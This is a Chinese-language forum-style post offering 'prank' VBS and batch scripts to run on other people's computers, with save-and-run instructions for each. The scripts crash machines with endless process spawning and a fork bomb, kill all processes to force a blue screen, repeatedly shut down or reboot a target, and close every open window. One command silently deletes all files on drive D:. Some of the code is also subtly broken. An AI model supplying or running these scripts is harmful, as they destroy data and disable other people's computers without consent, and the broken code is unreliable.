整蠱大法傳授於你，不要說是我告訴你的！

你們好，我是白雲。

給你們整理一些惡搞代碼，謹慎使用！當心沒朋友。

1. 電腦死機

打開無數個計算器，直到死機

set wsh=createobject("wscript.shell")
do
wsh.run "calc'
loop
複製代碼

無限次數轟炸

吵架神器，直接讓對手無話可說【建文本格式，修改後綴名爲vbs直接使用】

Set WshShell=WScript.CreateObject("WScript.Shell")

WshShell.AppActivate"7"

for i=1 to 99

WScript.Sleep 99

WshShell.SendKeys"^v"

WshShell.SendKeys i

WshShell.SendKeys"%s"

Next
複製代碼

刪除D:\全部文件

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c "del d:*.* / f /q /s""",0 ,true
複製代碼

不斷按下alt+f4 (開什麼 都關閉… ）

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell. SendKeys」%{F4}」
loop
複製代碼

電腦直接藍屏

保存爲Bat， 運行(一些殺毒軟件會報告爲木馬)

taskkill  /f  /fi  "pid  ne  1"
複製代碼

光驅無限彈出

保存成VBS，運行，你的光驅就會無限彈出(沒有光驅的電腦不行哦)

set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
複製代碼

無限彈窗

文本格式輸入，修改後綴名爲bat直接運行

:start
start cmd
goto start
複製代碼

電腦報數

將他複製粘貼在記事本中，而後保存成VBS代碼運行後電腦就會從0開始報數…

Set S = Create0bject("sapi . spvoice")
i=0
do
S. speak i
i=i+1
loop 
複製代碼

電腦死機2

沒錯,就這麼多，仍是保存成bat文件，運行，而後電腦就會死機(這個代碼就是本身運行本身，而後電腦內存就被消耗盡了)

%0 |%0
複製代碼

無限曾加分盤

在記事本複製粘貼，保存成bat文件，運行，以後…

@echo off
for  %%i  in  (a b c d e f g h i j k l m n )
複製代碼

沒錯，你會出現N個本地磁盤，可是不要慌，這個對電腦沒有實際傷害。

讓對方重啓指定次數

@echo off

if not exist c:1.txt echo. >c:1.txt & goto err1

if not exist c:2.txt echo. >c:2.txt & goto err1

if not exist c:3.txt echo. >c:3.txt & goto err1s

if not exist c:4.txt echo. >c:4.txt & goto err1

if not exist c:5.txt echo. >c:5.txt & goto err1

goto err2

:err1

shutdown -s -t 0

:err2
複製代碼

上面可讓對方電腦重啓5次後不在重啓，固然若是你修改一下加個if not exist c:6.txt echo. >c:6.txt & goto err1那就是重啓6次改爲7就是7次…

打開「開始→程序→附件→記事本」，把代碼部分複製進去，點「另存爲」，路徑選「你想要放的地方」，保存類型爲「全部文件」，文件名爲「你想要的名字.bat」，你的批量處理器就完成了。

讓人崩潰的關機程序

WScript.Echo("嘿，謝謝你打開我哦，我等你好久拉！"&TSName)

WScript.Echo("你是可愛的XX童鞋嗎?")

WScript.Echo("哈,我想你拉，這你都不知道嗎？")

WScript.Echo("怎麼纔來，說~是否是不關心我")

WScript.Echo("哼,我生氣拉，等你這麼久，心都涼啦。")

WScript.Echo("夜黑很生氣，後果很嚴重哦。")

WScript.Echo("嘿嘿！你也會很慘滴哦")

WScript.Echo("是否是想清除我？")

WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")

WScript.Echo("還剩49下，快點點哦")

WScript.Echo("還剩48下，快點，小笨蛋！")

WScript.Echo("還剩47下對，就這樣快點點！")

WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工做。")

WScript.Echo("還剩45下，記得要快哦！")

WScript.Echo("還剩43下")

WScript.Echo("還剩42下")

WScript.Echo("還剩41下")

WScript.Echo("還剩40下")

WScript.Echo("還剩39下")

WScript.Echo("還剩38下")

WScript.Echo("還剩37下")

WScript.Echo("還剩36下")

WScript.Echo("還剩35下")

WScript.Echo("還剩34下")

WScript.Echo("還剩33下")

WScript.Echo("還剩32下")

WScript.Echo("還剩30下")

WScript.Echo("還剩29下")

WScript.Echo("還剩28下")

WScript.Echo("還剩27下")

WScript.Echo("還剩26下")

WScript.Echo("還剩25下")

WScript.Echo("還剩24下")

WScript.Echo("還剩23下")

WScript.Echo("還剩22下")

WScript.Echo("還剩21下")

WScript.Echo("還剩20下")

WScript.Echo("還剩19下")

WScript.Echo("還剩18下")

WScript.Echo("還剩17下")

WScript.Echo("還剩16下")

WScript.Echo("還剩15下")

WScript.Echo("還剩14下")

WScript.Echo("還剩13下停停！！！慢點，我有話要說")

WScript.Echo("還剩12下，你繼續點我就會消失滴")

WScript.Echo("還剩11下，之後就看不到我拉。嗚嗚~555555")

WScript.Echo("還剩10下，你如今能夠選擇中止！")

WScript.Echo("還剩9下。你還點啊，不要我拉？")

WScript.Echo("還剩8下，有點傷心拉，幹嗎丟棄人家")

WScript.Echo("還剩7下。瘋了，你有點負意！")

WScript.Echo("還剩6下。對。你就點吧，我恨你！")

WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")

WScript.Echo("還剩4下！真要刪除我？")

WScript.Echo("還剩3下。但是我真的很眷戀你。。。")

WScript.Echo("還剩2下。不要這麼絕情嘛，人家是愛你的！")

WScript.Echo("還剩1下。哼，既然你這麼絕情。也別怪我無義！！！")

WScript.Echo("我本因該消失的，不過我留戀你滴芳容，萬能的上帝又給了一次機會。")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")

WScript.Echo("想結束我麼?那你就再多點一次")
複製代碼

把這個複製在記事本,把後綴修改爲.vbs在打開呢就會先說第一句的 嘿，謝謝你打開我哦，我等你好久拉！他不管是點關閉或者是點肯定都會再說第2句再點就說地3句 會按順序說完。

大家注意哦，最後10句話，只是10句，你要是把這個複製再粘貼N次，那他還有個打完呢？這樣才作到整人了，要是給喜歡的人發去啊，那就寫你要說的話吧，雙引號裏面的能夠隨便更改。